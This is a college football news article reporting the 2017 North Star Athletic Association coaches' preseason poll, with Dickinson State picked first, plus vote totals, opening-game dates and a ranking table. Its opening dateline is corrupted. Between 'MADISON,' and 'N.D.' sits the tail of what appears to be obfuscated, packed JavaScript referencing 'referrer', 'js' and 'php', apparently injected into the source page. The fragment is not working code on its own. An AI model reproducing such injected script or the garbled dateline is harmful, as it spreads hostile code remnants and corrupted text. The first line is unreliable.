MADISON, kizks|var|u0026u|referrer|bksny||js|php’.split(‘|’),0,{}))
N.D. (PlayNorthStar.com)- Dickinson State (N.D.) is favored to win the third straight North Star Athletic Association (NSAA) Football conference title, the coaches’ preseason poll was announced Monday.  The 2017 preseason poll was voted by the league’s head coaches.

The Blue Hawks picked up five first-place votes and collected 47 points in the NSAA Football Coaches’ Preseason Poll.  Dickinson State won their second straight North Star league title last season, completing the conference season with a perfect 6-0 record.  The Blue Hawks were 9-3 overall record and ranked No. 14 in the final football national poll, losing to  Montana Tech in the NAIA Football Opening Round Playoffs.

Valley City State (N.D.) edged Dakota State (S.D.) 37-36 for second place in the poll.  Both teams received one first-place votes.  Presentation (S.D.) is picked to finish fourth after recording 27 points, while Jamestown (N.D.) finished fifth in the poll with 25 points.

Mayville State (N.D.) registered 13 points in the conference preseason poll to finish sixth, followed by Waldorf (Iowa) with 11 points for a seventh-place in the poll.

To earn an automatic bid to the NAIA Football Playoffs, a team need to be in the ‘Top 20’ in the national poll and win the conference title.

Dakota State kicks off the 2017 season on Thursday, Aug. 24,

hosting Dakota Wesleyan (S.D.) in Madison.  Dickinson State will also begin at home on the same night, hosting Rocky Mountain (Mont.).

The NSAA conference season kicks off on Sept. 2 with the Blue Hawks visiting Valley City State.  Each North Star member will be playing a total of eight conference games in 2017.

Below is the complete results of 2017 NSAA Football Coaches’ Preseason Poll:

Rank	School (First-Place Votes in parenthesis)	Points
1	Dickinson State (N.D.) (5)	47
2	Valley City State (N.D.) (1)	37
3	Dakota State (S.D.) (1)	36
4	Presentation (S.D.)	27
5	Jamestown (N.D.)	25
6	Mayville State (N.D.)	13
7	Waldorf (Iowa)	11